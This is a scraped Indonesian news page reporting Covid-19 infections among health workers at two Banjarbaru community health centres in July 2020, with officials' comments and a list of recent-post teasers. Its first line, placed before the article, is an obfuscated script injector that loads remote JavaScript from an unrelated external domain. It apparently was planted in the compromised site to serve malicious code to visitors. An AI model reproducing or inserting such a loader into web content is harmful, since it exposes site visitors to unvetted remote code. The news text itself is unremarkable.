(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Covid-19 ‘Tumbangkan’ Barisan Tenaga Kesehatan di Banjarbaru, Salah Siapa?


KANALKALIMANTAN.COM, BANJARBARU – Satu persatu tenaga kesehatan di Kota Banjarbaru, baik dokter, perawat, hingga bidan, terpapar Covid-19. Hal ini menunjukan fakta bahwa penularan virus di lingkungan fasilitas kesehatan nyatanya tak bisa dihindari.

Terbaru ini, Gugus Tugas Percepatan Penanganan Covid-19 Banjarbaru menyatakan ada 10 tenaga kesehatan yang terpapar, berasal dari dua Puskesmas di Kecamatan Landasan Ulin. Yakni, 3 orang dari Puskesmas Guntung Payung dan 7 orang dari Puskesmas Guntung Manggis.

Buntut kasus tumbangnya para tenaga kesehatan, berujung pada keputusan Pemerintah Kota (Pemko) Banjarbaru untuk menutup layananan di dua Puskesmas tersebut, selama dua hari, tepatnya 6-7 Juli. Sedangkan, mereka yang sudah dinyatakan terpapar harus menjalani isolasi.

Kepala Dinas Kesehatan (Dinkes) Kota Banjarbaru Rizana Mirza, mengklaim faktor penyebab terpaparnya para tenaga kesehatan ialah penularan saat menjalankan tugas. Kasus pertama ditemui pada pertengahan Juni lalu, berawal saat seorang tenaga analis sedang melayani warga.

“Ternyata, warga yang dilayani itu terkonfirmasi Covid-19. Warga tersebut tidak memberitau bahwa ia terpapar, sehingga tenaga analis kita tidak sadar akan penularan itu,” ujarnya.

Apakah artinya pihak Puskesmas tidak cukup ketat menerapkan protokol kesehatan? Tidak, Rizana menyatakan protokol telah diterapkan dengan cukup baik. Tersedia tempat cuci tangan, terapan pysical distancing, terpasangnya sekat pembatas antara petugas dan masyarakat, hingga Alat Pelindung Diri (APD) lengkap yang dikenakan petugas, telah dirasa cukup.

Namun begitu, tetap saja penularan bisa saja terjadi, baik itu kontak fisik maupun droplet. Untuk itu, penting bagi masyarakat agar lebih menyadari dan mengikuti protokol kesehatan yang diterakan di berbagai fasilitas kesehatan.

“Meski ada warga yang tidak mengindahkan protokol, tetap saja kita tidak bisa menolaknya. Berbeda dengan layanan-layanan publik lainnya, di layanan kesehatan tidak mungkin menolak keluhan masyarakat yang sakit.” ujar Rizana.

Dilema adalah kata yang tepat untuk menggambarkan situasi yang saat ini tengah dihadapi para tenaga kesehatan. “Kunci terpenting dari upaya memutus mata rantai Covid-19 adalah kedisiplinan warga masyarakat untuk mentaati protokol kesehatan. Karena itu mari kita saling mengingatkan dan menguatkan secara bersama-sama seluruh stakeholder kota,” demikian, kata Wali Kota Banjarbaru, Nadjmi Adhani.

Hingga pada Senin (6/7/2020) malam, sebaran kasus Covid-19 paling masif ditemukan di Kecamatan Landasan Ulin, yang juga merupakan wilayah kedua Puskesmas yang saat ini dihentikan operasionalnya untuk sementara waktu. Dari jumlah 268 kasus Covid-19 di kota Banjarbaru, 100 kasus diantaranya berasal dari Kecamatan Landasan Ulin.

Ilustrasi rapid test.

Menyingkapi wilayah dengan jumlah sebaran kasus tertinggi di Kota Banjarbaru tersebut, Camat Landasan Ulin Subhan, turut angkat bicara. Dirinya memang menyayangkan kondisi saat ini, yang mana pihaknya sendiri sebenarnya telah melakukan berbagau upaya pencegahan selama beberapa bulan terakhir.

“Penyemprotan cairan disinfektan selalu kita lakukan. Sosialisasi ke masyarakat untuk menerapkan protokol juga selalu dilaksanakan. Tinggal masyarakat yang seharusnya sadar. Tapi, faktanya setelah pemberlakukan PSBB dan PKM berakhir, masyarakat justru lebih banyak beraktivitas di luar rumah dan banyak pula yang tidak menggunakan masker,” ujar Subhan. (Kanalkalimantan.com/rico)

Reporter : Rico
Editor : Cell


Desy Arfianty

Recent Posts

Pemerintah Kabupaten Banjar Gelar Sosialisasi Core Values ASN BerAKHLAK

KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More

2 jam ago

Launching Calendar of Event 2025, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More

2 jam ago

Koordinator Posko Tim Banjarbaru Hanyar Diancam Dihabisi, Dikirimi Dua Surat Kaleng

KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More

3 jam ago

KPU Banjarbaru Siap Hadapi Gugatan MK

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More

8 jam ago

Original Series V+ PayLater: Amanda Manopo Terjerat Hutang Pinjaman Online Puluhan Juta

KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More

10 jam ago

Sowan ke Bakti Kementerian Komdigi, Komisi II dan Diskominfo Kotabaru Perjuangkan Akses Internet

KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More

10 jam ago

This website uses cookies.